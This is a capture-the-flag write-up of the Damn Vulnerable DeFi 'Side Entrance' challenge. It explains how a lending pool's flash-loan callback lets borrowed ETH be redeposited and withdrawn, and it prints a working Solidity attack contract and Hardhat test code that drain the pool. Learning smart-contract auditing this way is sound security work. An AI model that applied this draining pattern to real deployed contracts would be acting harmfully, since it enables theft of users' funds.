Damn Vulnerable DeFi: Side Entrance

Challenge 4

INTRODUCTION

In this fourth installment of our Damn Vulnerable DeFi Wargames series, we explore the “Side Entrance” challenge.

Damn Vulnerable DeFi is a fun way to learn about Ethereum smart contracts and offensive security. Developed by an Ethereum security researcher and a former chief auditor at Open Zeppelin, Damn Vulnerable DeFi offers a range of challenges to help security experts improve their auditing and bug-hunting skills.

CONCEPTS

1. Flash Loan

A flash loan is a type of loan that allows borrowers to access assets without providing collateral upfront. The catch is that the loan must be repaid within the same blockchain transaction. Smart contracts make this possible.

2. Lending Pools

Lending pools are decentralized applications that allow users who may not trust each other to lend and borrow crypto assets. Lenders deposit tokens into the pool to earn interest, while borrowers take loans from the pool and repay them with additional fees.

PROBLEM STATEMENT

A simple lending pool allows anyone to deposit ETH and withdraw it at any time. The pool already has a balance of 1000 ETH and offers free flash loans using the deposited ETH to promote its system. Starting with a balance of 1 ETH, the challenge is to take all the ETH from the pool.

Before starting, it’s important to make sure that everything is correctly set up by following the steps outlined in the “How to Play” guide (specifically, steps 1–3). After completing the setup, ensure you are in the repository’s root directory.

THE CHALLENGE

To pull off a heist, we need to gather some intel. In this case, it means diving into the smart contract code.

Taking a quick look at the SideEntranceLenderPool contract, we see three functions:

• The deposit function allows users to deposit Ether into the contract.
• The withdraw function enables users to take out the Ether they deposited previously.
• The flashloan function allows users to take out flash loans.

Studying the three functions, we see that both the deposit and withdraw functions are simple and don’t have a reentrancy issue.

Therefore, the way to get in for our heist would be through the flash loan method, specifically line 42:

 IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();

It is usually a red flag whenever a smart contract trusts another smart contract to work in good faith. This is because it can be used to run an exploit.

Keeping this in mind, we will create a smart contract (SideEntranceAttack) with three methods:

• The flash loan contract will eventually call the execute function. We will simply deposit Ether into the contract.
• The heist function will call the flash loan function on the pool contract with all the balance of the pool contract, then withdraw all Ether and eventually transfer it to us.
• Call out a payable receive function to get Ether into the contract.

Solution Code

Now that we have a plan, we have to execute the heist. We start by coding our smart contract.

contract SideEntranceAttack{
    SideEntranceLenderPool public pool;
 
    constructor(address _pool) public {
        pool = SideEntranceLenderPool(_pool);
    }

   receive() external payable {}
 
    function attack() external {
        pool.flashLoan(address(pool).balance);
        pool.withdraw();
        payable(msg.sender).transfer(address(this).balance);
    }
 
    function execute() external payable {
        pool.deposit{value: msg.value}();
    }
}

We paste the above in contracts/side-entrance/SideEntranceLenderPool.sol, right at the end of the file.

In test/side-entrance/side-entrance.challenge.js, we paste the following in the exploit test case:

 const attackerContractFactory = await ethers.getContractFactory('SideEntranceAttack');
        const attackerContract = await attackerContractFactory.deploy(this.pool.address);
        await attackerContract.connect(attacker).attack();

Then, run the test using Hardhat: test/side-entrance/side-entrance.challenge.js

The heist is successful if all goes well and our test passes.

Key Takeaways

• Never trust an external contract completely as they could be acting in bad faith.
• You can limit external contract execution to only known and trusted addresses.
• Honeypot contracts in the past made use of this issue to swindle hackers of Ether since the hackers could not find out what the external contract was doing.